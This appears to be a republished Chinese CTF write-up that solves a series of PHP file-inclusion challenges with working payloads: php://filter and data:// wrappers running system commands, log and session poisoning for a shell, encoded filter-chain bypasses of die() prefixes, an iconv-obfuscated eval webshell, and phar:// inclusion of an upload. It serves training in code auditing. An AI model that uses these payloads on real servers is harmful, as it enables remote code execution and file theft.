php代码审计前奏之ctfshow之文件包含
2021-01-24 13:29:35 Author: www.freebuf.com(查看原文) 阅读量:247 收藏

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web78~php伪协议

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?file=php://filter/read=convert.base64-encode/resource=flag.php

web79~Data协议

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 php ,所以不能用 php 开头的伪协议了。

可以使用 data协议·。

  • data:// — 数据(RFC 2397)

自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效

受限于 allow_url_fopenNo

受限于 allow_url_includeYes

D9yivt.md.png

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
# PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

web80~包含日志文件

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 phpdata,也就是 php 伪协议、data 协议。

?file=/var/log/nginx/access.log

抓包在 UA 字段换成想要的代码<?php system('ls');?>,然后包含访问,就 getshell了。

web81~包含日志文件

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?file=/var/log/nginx/access.log

同样包含日志文件getshell,

web82~session文件竞争包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里把点过滤了,就不能包含日志文件了。

但是我们可以包含 session 文件。

<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

DZgA91.md.png

把上述代码保存为html或者php文件后,在上传任意一个文件。抓包,在把cookie改为Cookie: PHPSESSID=flag使得session文件为 /tmp/sess_flag,然后设置null payload开始一直上传。

紧接着抓取,

DZgdEQ.md.png

如图,包含?file=/tmp/sess_flag文件,竞争,在没删除前访问到。

DZgogx.md.png

得到fl0g.php,接下来构造上传文件包<?php system('cat fl0g.php');?>得到flag.竞争。

DZgXUH.md.png

https://blog.csdn.net/qq_46091464/article/details/108021053

https://www.freebuf.com/vuls/202819.html

web83~session文件竞争包含

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}
session_unset();
session_destroy();
**session_unset()**:释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id;
 **session_destroy()**:删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留;

说明上一关的利用方法已经不能使用了。

等等,。。。这两函数是在刚开始的,在接收函数之前,与上传临时文件也没关系,所以还是可以用上关方法的。。。。。。

DZWmuV.md.png

web84~session文件竞争包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

在文件包含之前rm -rf /tmp/*删掉/tmp下所有文件,但同样存在条件竞争。

web85~session文件竞争包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

同样条件竞争。

web86~session文件竞争包含

<?php

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);


}else{
    highlight_file(__FILE__);
}

define('INCLUDE_PATH','/include/');

set_include_path(INCLUDE);

这样当我们引用 include 中的文件 如 conn.php,smarty_config.php 时,我们直接可以这样写

include_once('conn.php');

include_once('smarty_config.php');

同样条件竞争。

linux本身删除

session_unset();
session_destroy();

system("rm -rf /tmp/*");

if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

web87~不同变量死亡绕过

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

不同变量死亡绕过。

base64就可以绕过/

正好是phpdie正好是6个字节,加2为,4的倍数,正好可以bse64解码。

php://filter/write=convert.base64-decode/resource=1.php
# url 两次编码之后
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

# post传参  <?php phpinfo();?> 前面加 aa
content=aaPD9waHAgcGhwaW5mbygpOz8+

利用string.rot13过滤器

php://filter/write=string.rot13/resource=2.php

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

# post 传参   <?php phpinfo();?>
content=<?cuc cucvasb();?>

成功回显phpinfo();

还可以使用 string.strip_tags过滤器。

?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

# post传入 <?php phpinfo();
PD9waHAgcGhwaW5mbygpOw==
Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21

但访问3.php,成功显示phpinfo页面。

可以参考这里

https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/

web88~data协议去等号

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

正则匹配黑名单。

发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

实际上就是去掉base64后的=,作为填充使用,不影响结果

web118

misc+lfi

kali里面binwalk然后foremost分离出一张png图片

<?php
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

这里过滤了几个过滤器,常用的base64肯定不能用了。

因为header 定了mp4,所以他给我们返回的是

D3nnPS.png

?file=flag.php

但奈何页面只返回一个上图页面,本想着另存为,但保存不了。

那么就抓包看看响应包了。

D3uuo6.md.png

直接出flag了。

但是我刚开始是F12抓包的,看到的是 编码后的flag,懵逼了一会,才看出了是base64,但没想到为啥。。。。

D3uJOA.md.png

应该是返回base64编码解码成视频。。。

找到解码直接就是flag.

同样可以使用convert.iconv.*

详情看这里 https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/

web117~不同变量死亡绕过USC

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

死亡绕过不同变量

这里过滤了 base64那就是 base64-decode了。

过滤了string不能使用 字符过滤器了,

但是convert还是可以使用 转换过滤器

可以使用convert.iconv.*

https://www.php.net/manual/en/filters.convert.php

原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

# post
contents=?<hp pvela$(P_SO[T]a;)>?

可以看到原先的死亡语句已经变成了?<hp pid(e;)>?

D33EQO.md.png

upload~固定后缀文件包含

题目来源:

https://www.amanctf.com/challenges/detail/id/5.html

打开题目啥也没有,F12,看到有include.php

页面显示Tips: the parameter is file! :)

?file=1

# 回显
Tips: the parameter is file! :)
Warning: include(1.php): failed to open stream: No such file or directory in /var/www/html/include.php on line 15

Warning: include(): Failed opening '1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/include.php on line 15

文件包含,但是包含的文件被自动化加上了 后缀.php.

f12看到还有upload.php

访问是一个文件上传功能点。显然这道题考点文件上传+文件包含getshell。

测试这个功能点是可以上传的,但是只能上传jpg,gif等图片后缀格式。

<!-- include.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>
<!--upload.php-->
<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br>

 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

可以看到文件包含匹配/http|data|ftp|input|%00/i..并且长度不能大于70.最后include时还加上.php指定后缀。-

文件上传限制后缀和MIME类型。并且上传之后先检测最后一个后缀,然后传到upload目录。

这里做了好久百度可好久,考点是phar协议。

解法构造一句话php文件,然后压缩,然后改后缀为.jpg,然后上传,最后

phar://upload/1.jpg/1

文章来源: https://www.freebuf.com/articles/web/261798.html
如有侵权请联系:admin#unsafe.sh